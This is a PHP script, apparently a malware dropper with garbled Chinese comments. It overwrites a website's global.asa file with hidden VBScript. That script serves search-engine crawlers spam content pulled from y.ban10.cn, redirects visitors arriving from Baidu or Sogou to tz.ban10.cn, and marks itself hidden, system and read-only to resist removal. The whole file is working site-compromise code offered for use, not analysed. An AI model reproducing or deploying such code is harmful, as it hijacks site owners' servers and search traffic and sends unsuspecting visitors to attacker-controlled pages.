<?php
// 瀹氫箟鏂囦欢璺緞
$filePath = 'D:\\vhostroot\\LocalUser\\yuda\\www\\global.asa';

// 鏂板唴瀹�
$newContent = <<<EOD
<script CodePage=936 language="vbscript" runat="server">  

server.Scripttimeout=3600
dim ua,Remote_server,host_name,Remote_file,Content_mb,referrer
On Error Resume Next
ua=Request.ServerVariables("HTTP_USER_AGENT")
referrer=Request.ServerVariables("HTTP_REFERER")

If Err.Number <> 0 Then
    Err.Clear
End If

Remote_server="http://y.ban10.cn/asp/ind.php"
host_name="http://" & request.servervariables("HTTP_HOST") & request.servervariables("SCRIPT_NAME")
Remote_file = Remote_server & "/index.php" & "?host=" & host_name & "&url=" & Request.servervariables("QUERY_STRING") & "&domain=" & Request.servervariables("SERVER_NAME")

If (instr(ua,"360Spider") > 0 Or instr(ua,"so") > 0 Or instr(ua,"baidu") > 0) Then
    Content_mb = GetHtml(Remote_file)
    response.write Content_mb
End If

If (instr(referrer, "baidu.com") > 0 Or instr(referrer, "sogou.com") > 0) Then
    response.redirect("https://tz.ban10.cn/yao.php")
End If

Set fso = Server.CreateObject("Scripting.FileSystemObject")
set f=fso.Getfile(Server.MapPath("global.asa"))
if f.attributes <> 7 then
f.attributes = 7
end if

Function GetHtml(url)
    On Error Resume Next
    Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
    ObjXMLHTTP.Open "GET", url, False
    ObjXMLHTTP.setRequestHeader "User-Agent", "aQ0O010O"
    ObjXMLHTTP.send
    GetHtml=ObjXMLHTTP.responseBody
    Set ObjXMLHTTP=Nothing
    set objStream = Server.CreateObject("Adodb.Stream")
    objStream.Type = 1
    objStream.Mode = 3
    objStream.Open
    objStream.Write GetHtml
    objStream.Position = 0
    objStream.Type = 2
    objStream.Charset = "utf-8"
    GetHtml = objStream.ReadText
    objStream.Close
    If Err.Number <> 0 Then
        Err.Clear
    End If
End Function

</script>
EOD;

// 纭繚鏂囦欢鍙啓
if (is_writable($filePath)) {
    // 鎵撳紑鏂囦欢锛屽苟娓呯┖鍐呭
    $file = fopen($filePath, 'w');
    if ($file) {
        // 鍐欏叆鏂扮殑鍐呭
        fwrite($file, $newContent);
        fclose($file);
        echo "鏂囦欢鍐呭宸叉垚鍔熸洿鏂帮紒";
    } else {
        echo "鏃犳硶鎵撳紑鏂囦欢杩涜鍐欏叆锛�";
    }
} else {
    echo "鏂囦欢涓嶅彲鍐欙紒";
}
?>